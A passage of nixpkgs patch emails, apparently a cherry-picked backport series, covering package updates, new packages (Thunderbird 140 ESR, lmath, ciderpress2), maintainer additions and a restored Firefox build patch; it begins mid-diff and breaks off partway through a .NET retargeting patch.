-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         if: github.event_name == 'pull_request_target' && vars.OWNER_APP_ID
         id: app-token
         with:

From 2620d9a556b669da8cd03aa105f5702ad5f8ecad Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 26 Aug 2025 13:28:48 +0200
Subject: [PATCH 3947/4511] buildMozillaMach: restore no-buildconfig patch

The accidental removal bloated the runtime closure of all consumers.

(cherry picked from commit b65bcee42a2bbf0570fee2aa51f88a035b8f35e8)
---
 .../136-no-buildconfig.patch                  | 26 +++++++++++++++++++
 .../build-mozilla-mach/default.nix            |  3 ++-
 2 files changed, 28 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/build-support/build-mozilla-mach/136-no-buildconfig.patch

diff --git a/pkgs/build-support/build-mozilla-mach/136-no-buildconfig.patch b/pkgs/build-support/build-mozilla-mach/136-no-buildconfig.patch
new file mode 100644
index 000000000000..69972b5518bb
--- /dev/null
+++ b/pkgs/build-support/build-mozilla-mach/136-no-buildconfig.patch
@@ -0,0 +1,26 @@
+diff --git a/docshell/base/nsAboutRedirector.cpp b/docshell/base/nsAboutRedirector.cpp
+index 16888323d7..b96450a247 100644
+--- a/docshell/base/nsAboutRedirector.cpp
++++ b/docshell/base/nsAboutRedirector.cpp
+@@ -90,9 +90,6 @@ static const RedirEntry kRedirMap[] = {
+     {"addons", "chrome://mozapps/content/extensions/aboutaddons.html",
+      nsIAboutModule::ALLOW_SCRIPT | nsIAboutModule::IS_SECURE_CHROME_UI},
+ #endif
+-    {"buildconfig", "chrome://global/content/buildconfig.html",
+-     nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
+-         nsIAboutModule::IS_SECURE_CHROME_UI},
+     {"checkerboard", "chrome://global/content/aboutCheckerboard.html",
+      nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
+          nsIAboutModule::ALLOW_SCRIPT},
+diff --git a/toolkit/content/jar.mn b/toolkit/content/jar.mn
+index eb6c179b60..57568668b1 100644
+--- a/toolkit/content/jar.mn
++++ b/toolkit/content/jar.mn
+@@ -40,7 +40,6 @@ toolkit.jar:
+    content/global/aboutUrlClassifier.js
+    content/global/aboutUrlClassifier.xhtml
+    content/global/aboutUrlClassifier.css
+-*   content/global/buildconfig.html
+    content/global/buildconfig.css
+    content/global/contentAreaUtils.js
+    content/global/datepicker.xhtml
diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 953f4a5b1cbb..640888d2a94b 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -304,7 +304,8 @@ buildStdenv.mkDerivation {
   ];
 
   patches =
-    lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
+    lib.optionals (lib.versionAtLeast version "136") [ ./136-no-buildconfig.patch ]
+    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1955112
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
       ./139-wayland-drag-animation.patch

From fd628014491c64f3c2599cbd6fd567b1f388ffa0 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 26 Aug 2025 15:47:43 +0200
Subject: [PATCH 3948/4511] python3Packages.django-allauth: add headless-spec
 optional dependencies

https://codeberg.org/allauth/django-allauth/issues/4493
https://codeberg.org/allauth/django-allauth/commit/85f5f3987

(cherry picked from commit f2f4173088a33a261578c4bda2d606ce637be122)
---
 pkgs/development/python-modules/django-allauth/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/python-modules/django-allauth/default.nix b/pkgs/development/python-modules/django-allauth/default.nix
index 77743d4d76fd..be65afc9df70 100644
--- a/pkgs/development/python-modules/django-allauth/default.nix
+++ b/pkgs/development/python-modules/django-allauth/default.nix
@@ -67,6 +67,7 @@ buildPythonPackage rec {
   '';
 
   optional-dependencies = {
+    headless-spec = [ pyyaml ];
     mfa = [
       fido2
       qrcode

From a227b1497c03ef06ef0cdf5571f9b3690c0d1125 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 26 Aug 2025 15:48:17 +0200
Subject: [PATCH 3949/4511] glitchtip: use django-allauth headless-spec
 optional dependencies

(cherry picked from commit f27ef634658e87e7a905b8800250334cd27b35d6)
---
 pkgs/by-name/gl/glitchtip/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/gl/glitchtip/package.nix b/pkgs/by-name/gl/glitchtip/package.nix
index 83fe0368f370..9610f2277f3b 100644
--- a/pkgs/by-name/gl/glitchtip/package.nix
+++ b/pkgs/by-name/gl/glitchtip/package.nix
@@ -72,6 +72,7 @@ let
       whitenoise
     ]
     ++ celery.optional-dependencies.redis
+    ++ django-allauth.optional-dependencies.headless-spec
     ++ django-allauth.optional-dependencies.mfa
     ++ django-allauth.optional-dependencies.socialaccount
     ++ django-redis.optional-dependencies.hiredis

From c5172b8eb8f877bc1bd7162f4b0ed19613392c75 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 23:46:39 +0000
Subject: [PATCH 3950/4511] vscode-extensions.elixir-lsp.vscode-elixir-ls:
 0.29.2 -> 0.29.3

(cherry picked from commit a51a0739f4b355e36731a31f164f71f5aa1fd8ef)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index 84c6c10c54e3..38d7f0277102 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -1700,8 +1700,8 @@ let
         mktplcRef = {
           name = "elixir-ls";
           publisher = "JakeBecker";
-          version = "0.29.2";
-          hash = "sha256-+MkKUhyma/mc5MZa0+RFty5i7rox0EARPTm/uggQj6M=";
+          version = "0.29.3";
+          hash = "sha256-cghDjgv3FWsNpnH6Pa9iPuiPOlLI/iucGH+fzF35ERk=";
         };
         meta = {
           changelog = "https://marketplace.visualstudio.com/items/JakeBecker.elixir-ls/changelog";

From 4c6417ace42835fd657779cd42fc52981501e201 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Tue, 26 Aug 2025 16:48:47 +0200
Subject: [PATCH 3951/4511] thunderbird-140: init at 140.2.0esr

This is a bit late, with the default being 142 already.

(cherry picked from commit 59c943560f72992b59c54ec1dd2a7319bea7c7f8)
---
 .../networking/mailreaders/thunderbird/packages.nix | 13 +++++++++++++
 pkgs/top-level/all-packages.nix                     |  3 +++
 2 files changed, 16 insertions(+)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index dbbca7d97711..98278ee4bb3d 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -105,6 +105,19 @@ rec {
   # Eventually, switch to an updateScript without versionPrefix hardcoded...
   thunderbird-esr = thunderbird-128;
 
+  thunderbird-140 = common {
+    applicationName = "Thunderbird ESR";
+
+    version = "140.2.0esr";
+    sha512 = "6a10f95b805f00a0820c822ae07bc52ac39d0a55f084c319d27f01710d8a1d809b7b224da966632ae0a22658bf14e76c8fd7cec022718316c306c43809a4997d";
+
+    updateScript = callPackage ./update.nix {
+      attrPath = "thunderbirdPackages.thunderbird-140";
+      versionPrefix = "140";
+      versionSuffix = "esr";
+    };
+  };
+
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index ba57fcb5de31..4f57113bf17a 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14208,6 +14208,9 @@ with pkgs;
   thunderbird-128-unwrapped = thunderbirdPackages.thunderbird-128;
   thunderbird-128 = wrapThunderbird thunderbirdPackages.thunderbird-128 { };
 
+  thunderbird-140-unwrapped = thunderbirdPackages.thunderbird-140;
+  thunderbird-140 = wrapThunderbird thunderbirdPackages.thunderbird-140 { };
+
   thunderbird-bin = thunderbird-latest-bin;
   thunderbird-latest-bin = wrapThunderbird thunderbird-latest-bin-unwrapped {
     pname = "thunderbird-bin";

From 4e4b50b05edca55bfd7a7f948a9d1c01f2c3402b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Tue, 26 Aug 2025 16:50:16 +0200
Subject: [PATCH 3952/4511] thunderbird-esr: 128.x -> 140.x

(cherry picked from commit 6751f53b542c9720752088c2dbbbf49110d3189d)
---
 .../networking/mailreaders/thunderbird/packages.nix             | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 98278ee4bb3d..845e92589aa5 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -103,7 +103,7 @@ rec {
   };
 
   # Eventually, switch to an updateScript without versionPrefix hardcoded...
-  thunderbird-esr = thunderbird-128;
+  thunderbird-esr = thunderbird-140;
 
   thunderbird-140 = common {
     applicationName = "Thunderbird ESR";

From 6e8b9c9d679ccf629ecbcb5d849bf79105abc27e Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Sun, 17 Aug 2025 23:19:03 +0200
Subject: [PATCH 3953/4511] mautrix-whatsapp: 0.12.3 -> 0.12.4

(cherry picked from commit 88e8a4036877dc2d328fd3e7cb4e732eb037e49c)
---
 pkgs/by-name/ma/mautrix-whatsapp/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-whatsapp/package.nix b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
index 1a78edf5c13f..cc85083e552f 100644
--- a/pkgs/by-name/ma/mautrix-whatsapp/package.nix
+++ b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
@@ -14,19 +14,19 @@
 
 buildGoModule rec {
   pname = "mautrix-whatsapp";
-  version = "0.12.3";
+  version = "0.12.4";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "whatsapp";
     rev = "v${version}";
-    hash = "sha256-gbKphWFBT5+7kIptIS/GquFBPVaZzJolbEkZ6bj3Fiw=";
+    hash = "sha256-FduZKeWApGR/SmjiZsVDC0KJZq8XRtfCFQUZhxlVswM=";
   };
 
   buildInputs = lib.optional (!withGoolm) olm;
   tags = lib.optional withGoolm "goolm";
 
-  vendorHash = "sha256-LGHW1n36fdDtIPNENA2qqLcho+7FVna/zUPEYcxd9LQ=";
+  vendorHash = "sha256-Ujk/bJWo4tU7wQxyF7VP1JLqNh+VuNy5n31x9AWyEZA=";
 
   doCheck = false;
 

From 3bb594ad6293349442a60426768b735d9d1fd83a Mon Sep 17 00:00:00 2001
From: Sander <hey@sandydoo.me>
Date: Mon, 25 Aug 2025 15:17:48 +0200
Subject: [PATCH 3954/4511] devenv: upgrade nix version for 1.8.2

(cherry picked from commit 01d8accd9ad67d83fb392442de6aa58af3adf900)
---
 pkgs/by-name/de/devenv/package.nix | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index b50a71452fe2..5304121eaa18 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -15,22 +15,24 @@
 }:
 
 let
+  version = "1.8.2";
+  devenvNixVersion = "2.30.4";
+
   devenv_nix =
     (nixVersions.git.overrideSource (fetchFromGitHub {
       owner = "cachix";
       repo = "nix";
-      rev = "031c3cf42d2e9391eee373507d8c12e0f9606779";
-      hash = "sha256-dOi/M6yNeuJlj88exI+7k154z+hAhFcuB8tZktiW7rg=";
+      rev = "devenv-${devenvNixVersion}";
+      hash = "sha256-3+GHIYGg4U9XKUN4rg473frIVNn8YD06bjwxKS1IPrU=";
     })).overrideAttrs
       (old: {
-        version = "2.30-devenv";
+        pname = "devenv-nix";
+        version = devenvNixVersion;
         doCheck = false;
         doInstallCheck = false;
         # do override src, but the Nix way so the warning is unaware of it
         __intentionallyOverridingVersion = true;
       });
-
-  version = "1.8.2";
 in
 rustPlatform.buildRustPackage {
   pname = "devenv";

From 64a021a67bcdc3e8734f509c7506dd381728d9cd Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Sun, 17 Aug 2025 23:25:44 +0200
Subject: [PATCH 3955/4511] libsignal-ffi: 0.76.1 -> 0.78.2

(cherry picked from commit df06b2acd8092bbfb0ff54e4675de582ad0849cf)
---
 pkgs/by-name/li/libsignal-ffi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index 72ae4fab3fdb..a1e54ba745ec 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -21,14 +21,14 @@ rustPlatform.buildRustPackage rec {
   pname = "libsignal-ffi";
   # must match the version used in mautrix-signal
   # see https://github.com/mautrix/signal/issues/401
-  version = "0.76.1";
+  version = "0.78.2";
 
   src = fetchFromGitHub {
     fetchSubmodules = true;
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${version}";
-    hash = "sha256-411+ANwyqqUX11rxCzFvPhjMWviJ0CcQlkAiqNWs32w=";
+    hash = "sha256-4buK92sJZj5yEwFyi55WonF+1LZ5PERZ9wJZdlFjPcg=";
   };
 
   nativeBuildInputs = [
@@ -40,7 +40,7 @@ rustPlatform.buildRustPackage rec {
   env.BORING_BSSL_PATH = "${boringssl-wrapper}";
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
 
-  cargoHash = "sha256-9W7u0fZgU0J03hT6D4BJPpIKn3dwf9yckJiwwNkyqUA=";
+  cargoHash = "sha256-eDerNFw8jtM7qIVh3Y837Iu11yeEpAcxgFVqZJTylEc=";
 
   cargoBuildFlags = [
     "-p"

From 446cd85c4da58bdc00bac5505eff1cfd4cb2168e Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Sun, 17 Aug 2025 23:25:58 +0200
Subject: [PATCH 3956/4511] mautrix-signal: 0.8.5 -> 0.8.6

(cherry picked from commit aba64f33661e81753d722a802b06b5804255727e)
---
 pkgs/by-name/ma/mautrix-signal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index a85cd20a2364..37c4610806ac 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -19,13 +19,13 @@ let
 in
 buildGoModule rec {
   pname = "mautrix-signal";
-  version = "0.8.5";
+  version = "0.8.6";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "signal";
     tag = "v${version}";
-    hash = "sha256-koO1eeMZ8wmty6z2zyJlA7zoM6gYmFlxdF8GB2hOxb8=";
+    hash = "sha256-62Z7Lasx0bzCAWLvHN7uCUqkMk6W80PR24mwfJU/n3Q=";
   };
 
   buildInputs =
@@ -41,7 +41,7 @@ buildGoModule rec {
 
   CGO_LDFLAGS = lib.optional withGoolm [ cppStdLib ];
 
-  vendorHash = "sha256-NmIWxc+6Leaqm1W+g2XdbMv4iU7Z7k8/g88U0iw/+98=";
+  vendorHash = "sha256-srvqflqleK2KIgesEZPNhSQh/IFmyTElJ7iUjBEmNq0=";
 
   doCheck = true;
   preCheck = ''

From 264c9588114593e06e1ff66c1b36a8838b1c0ac2 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Sun, 17 Aug 2025 23:27:33 +0200
Subject: [PATCH 3957/4511] mautrix-signal: add SchweGELBin as maintainer

(cherry picked from commit e3f96eb478d7c2de9d7aedcf59e39b4796e9f9e4)
---
 pkgs/by-name/ma/mautrix-signal/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index 37c4610806ac..f9a10e41c272 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -68,6 +68,7 @@ buildGoModule rec {
     maintainers = with maintainers; [
       pentane
       ma27
+      SchweGELBin
     ];
     mainProgram = "mautrix-signal";
   };

From f7add915b01da2a2ac0ba8a32919a0a997d91395 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Mon, 18 Aug 2025 00:22:19 +0200
Subject: [PATCH 3958/4511] libsignal-ffi: add SchweGELBin as maintainer

(cherry picked from commit 1a9dd6becb1f2dbda2565ce226f16a211e16b73b)
---
 pkgs/by-name/li/libsignal-ffi/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index a1e54ba745ec..8bc733f32051 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -51,6 +51,9 @@ rustPlatform.buildRustPackage rec {
     description = "C ABI library which exposes Signal protocol logic";
     homepage = "https://github.com/signalapp/libsignal";
     license = licenses.agpl3Plus;
-    maintainers = with maintainers; [ pentane ];
+    maintainers = with maintainers; [
+      pentane
+      SchweGELBin
+    ];
   };
 }

From cece573a817c5b7d34a96ec86266e164192226fc Mon Sep 17 00:00:00 2001
From: langsjo <104687438+langsjo@users.noreply.github.com>
Date: Sun, 15 Jun 2025 20:14:45 +0300
Subject: [PATCH 3959/4511] maintainers: add langsjo

(cherry picked from commit 3ae93691b403a007562c8e7c53db2ed368b7b2dd)
---
 maintainers/maintainer-list.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1e96d75e1aeb..e95f26ec5dca 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -13702,6 +13702,11 @@
     githubId = 61395246;
     name = "Lampros Pitsillos";
   };
+  langsjo = {
+    name = "langsjo";
+    github = "langsjo";
+    githubId = 104687438;
+  };
   larsr = {
     email = "Lars.Rasmusson@gmail.com";
     github = "larsr";

From 6a76c3e5c587df081c3ad08b458b44ec4bd33883 Mon Sep 17 00:00:00 2001
From: langsjo <104687438+langsjo@users.noreply.github.com>
Date: Sun, 15 Jun 2025 20:15:09 +0300
Subject: [PATCH 3960/4511] lmath: init at 1.10.15

(cherry picked from commit b5586570626e6c57111a107caba7dcad56075ce9)
---
 pkgs/by-name/lm/lmath/package.nix | 54 +++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)
 create mode 100644 pkgs/by-name/lm/lmath/package.nix

diff --git a/pkgs/by-name/lm/lmath/package.nix b/pkgs/by-name/lm/lmath/package.nix
new file mode 100644
index 000000000000..9b29d50f552d
--- /dev/null
+++ b/pkgs/by-name/lm/lmath/package.nix
@@ -0,0 +1,54 @@
+{
+  lib,
+  nix-update-script,
+  fetchurl,
+  appimageTools,
+  makeBinaryWrapper,
+}:
+let
+  pname = "lmath";
+  version = "1.10.15";
+  src = fetchurl {
+    url = "https://github.com/lehtoroni/lmath-issues/releases/download/v${version}/LMath_Linux_r${version}-release.AppImage";
+    hash = "sha256-JOV+g7izjctCkHl5q/9T2PSUZzPzVPisHppbPofVYy0=";
+  };
+
+  appimageContents = appimageTools.extractType2 {
+    inherit pname version src;
+  };
+in
+appimageTools.wrapType2 {
+  inherit pname version src;
+
+  nativeBuildInputs = [
+    makeBinaryWrapper
+  ];
+
+  # '--skip-updated-bundle-check' stops automatic updates from breaking the package
+  extraInstallCommands = ''
+    install -Dm 444 ${appimageContents}/lmath.desktop $out/share/applications/lmath.desktop
+    install -Dm 444 ${appimageContents}/lmath.png $out/share/icons/hicolor/512x512/apps/lmath.png
+
+    wrapProgram $out/bin/lmath \
+      --add-flags "--no-update-check"
+
+    substituteInPlace $out/share/applications/lmath.desktop \
+      --replace-fail 'Exec=AppRun' 'Exec=lmath'
+  '';
+
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--version-regex"
+      "^r([0-9\.]*)"
+    ];
+  };
+
+  meta = {
+    description = "Simple notebook app with LaTeX capabilities";
+    homepage = "https://lehtodigital.fi/lmath/";
+    mainProgram = "lmath";
+    license = lib.licenses.unfree;
+    maintainers = with lib.maintainers; [ langsjo ];
+    platforms = [ "x86_64-linux" ];
+  };
+}

From 29fd041e6037a4ace8bcc9fa05efda3c19416cf9 Mon Sep 17 00:00:00 2001
From: Nova Hahn <mail@novahahn.eu>
Date: Thu, 21 Aug 2025 01:25:39 +0200
Subject: [PATCH 3961/4511] lutris: Add adwaita-icon-theme to FHS environment

Resolves #435087

(cherry picked from commit d7f50bf6605a248f28ef94ac973ed19fdc1a6896)
---
 pkgs/applications/misc/lutris/fhsenv.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/misc/lutris/fhsenv.nix b/pkgs/applications/misc/lutris/fhsenv.nix
index 0e3b8efc1b7a..af0a3989708a 100644
--- a/pkgs/applications/misc/lutris/fhsenv.nix
+++ b/pkgs/applications/misc/lutris/fhsenv.nix
@@ -22,6 +22,7 @@ let
       gnome-desktop
       libgnome-keyring
       webkitgtk_4_1
+      adwaita-icon-theme
     ];
   xorgDeps =
     pkgs: with pkgs.xorg; [

From 567cb1b27129bb03bfc6f256ba04957257d32772 Mon Sep 17 00:00:00 2001
From: Eric Helgeson <erichelgeson@gmail.com>
Date: Wed, 4 Jun 2025 20:16:27 -0500
Subject: [PATCH 3962/4511] maintainers: add erichelgeson

(cherry picked from commit cae15208433c8ea14cb567c56336aee810c3e465)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index e95f26ec5dca..1c98aff78513 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -18040,6 +18040,12 @@
     githubId = 51034487;
     matrix = "@nullcube:matrix.org";
   };
+  nulleric = {
+    email = "erichelgeson@gmail.com";
+    name = "Eric Helgeson";
+    github = "erichelgeson";
+    githubId = 271734;
+  };
   nullishamy = {
     email = "spam@amyerskine.me";
     name = "nullishamy";

From fa6d8afce0bfa7b8e8c9d9d625511b98c0163a90 Mon Sep 17 00:00:00 2001
From: Eric Helgeson <erichelgeson@gmail.com>
Date: Sat, 23 Aug 2025 12:20:28 -0500
Subject: [PATCH 3963/4511] ciderpress2: init at 1.1.0

(cherry picked from commit c9882aa83bb0a51dfcb883bde0d0a2f288422208)
---
 pkgs/by-name/ci/ciderpress2/package.nix       |  44 +++++
 .../ci/ciderpress2/retarget-net8.patch        | 162 ++++++++++++++++++
 2 files changed, 206 insertions(+)
 create mode 100644 pkgs/by-name/ci/ciderpress2/package.nix
 create mode 100644 pkgs/by-name/ci/ciderpress2/retarget-net8.patch

diff --git a/pkgs/by-name/ci/ciderpress2/package.nix b/pkgs/by-name/ci/ciderpress2/package.nix
new file mode 100644
index 000000000000..fe4d0662c82f
--- /dev/null
+++ b/pkgs/by-name/ci/ciderpress2/package.nix
@@ -0,0 +1,44 @@
+{
+  lib,
+  buildDotnetModule,
+  fetchFromGitHub,
+}:
+
+buildDotnetModule rec {
+  pname = "ciderpress2";
+  version = "1.1.0";
+
+  src = fetchFromGitHub {
+    owner = "fadden";
+    repo = "CiderPress2";
+    tag = "v${version}";
+    hash = "sha256-nzCuKCntqYVhjSHljPkY5ziAjYH/qGUqukRPrHzhOzo=";
+  };
+
+  projectFile = [ "cp2/cp2.csproj" ];
+
+  executables = [ "cp2" ];
+
+  patches = [ ./retarget-net8.patch ];
+
+  preBuild = ''
+    # Disable MS telemetry
+    export DOTNET_CLI_TELEMETRY_OPTOUT=1
+    export DOTNET_NOLOGO=1
+  '';
+
+  meta = {
+    description = "File archive utility for Apple II disk images and file archives";
+    longDescription = ''
+      CiderPress 2 is a file archive utility for Apple II disk images and file
+      archives. It can extract files from disk images and file archives, and
+      create new archives.
+    '';
+    homepage = "https://github.com/fadden/CiderPress2";
+    changelog = "https://github.com/fadden/CiderPress2/releases/tag/v${version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ nulleric ];
+    platforms = lib.platforms.unix;
+    mainProgram = "cp2";
+  };
+}
diff --git a/pkgs/by-name/ci/ciderpress2/retarget-net8.patch b/pkgs/by-name/ci/ciderpress2/retarget-net8.patch
new file mode 100644
index 000000000000..efa533d19a28
--- /dev/null
+++ b/pkgs/by-name/ci/ciderpress2/retarget-net8.patch
@@ -0,0 +1,162 @@
+From 4b97c8cc49ee2068198bbfaa7eacb17cf1cf067c Mon Sep 17 00:00:00 2001
+From: Eric Helgeson <erichelgeson@gmail.com>
+Date: Fri, 22 Aug 2025 10:05:56 -0500
+Subject: [PATCH] Retarget to .NET 8
+
+---
+ AppCommon/AppCommon.csproj                | 2 +-
+ CommonUtil/CommonUtil.csproj              | 2 +-
+ DiskArc/DiskArc.csproj                    | 2 +-
+ DiskArcTests/DiskArcTests.csproj          | 2 +-
+ Examples/AddFile/AddFile.csproj           | 2 +-
+ Examples/ListContents/ListContents.csproj | 2 +-
+ FileConv/FileConv.csproj                  | 2 +-
+ FileConvTests/FileConvTests.csproj        | 2 +-
+ MakeDist/MakeDist.csproj                  | 2 +-
+ cp2/cp2.csproj                            | 2 +-
+ cp2_wpf/cp2_wpf.csproj                    | 2 +-
+ 11 files changed, 11 insertions(+), 11 deletions(-)
+
+diff --git a/AppCommon/AppCommon.csproj b/AppCommon/AppCommon.csproj
+index 48e8e5c..1e58dc6 100644
+--- a/AppCommon/AppCommon.csproj
++++ b/AppCommon/AppCommon.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/CommonUtil/CommonUtil.csproj b/CommonUtil/CommonUtil.csproj
+index 132c02c..30402ac 100644
+--- a/CommonUtil/CommonUtil.csproj
++++ b/CommonUtil/CommonUtil.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/DiskArc/DiskArc.csproj b/DiskArc/DiskArc.csproj
+index a1c95f7..cc0baef 100644
+--- a/DiskArc/DiskArc.csproj
++++ b/DiskArc/DiskArc.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/DiskArcTests/DiskArcTests.csproj b/DiskArcTests/DiskArcTests.csproj
+index 521776e..40db439 100644
+--- a/DiskArcTests/DiskArcTests.csproj
++++ b/DiskArcTests/DiskArcTests.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/Examples/AddFile/AddFile.csproj b/Examples/AddFile/AddFile.csproj
+index 09d4137..690e75b 100644
+--- a/Examples/AddFile/AddFile.csproj
++++ b/Examples/AddFile/AddFile.csproj
+@@ -2,7 +2,7 @@
+ 
+   <PropertyGroup>
+     <OutputType>Exe</OutputType>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/Examples/ListContents/ListContents.csproj b/Examples/ListContents/ListContents.csproj
+index 1e27d16..ea1a510 100644
+--- a/Examples/ListContents/ListContents.csproj
++++ b/Examples/ListContents/ListContents.csproj
+@@ -2,7 +2,7 @@
+ 
+   <PropertyGroup>
+     <OutputType>Exe</OutputType>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
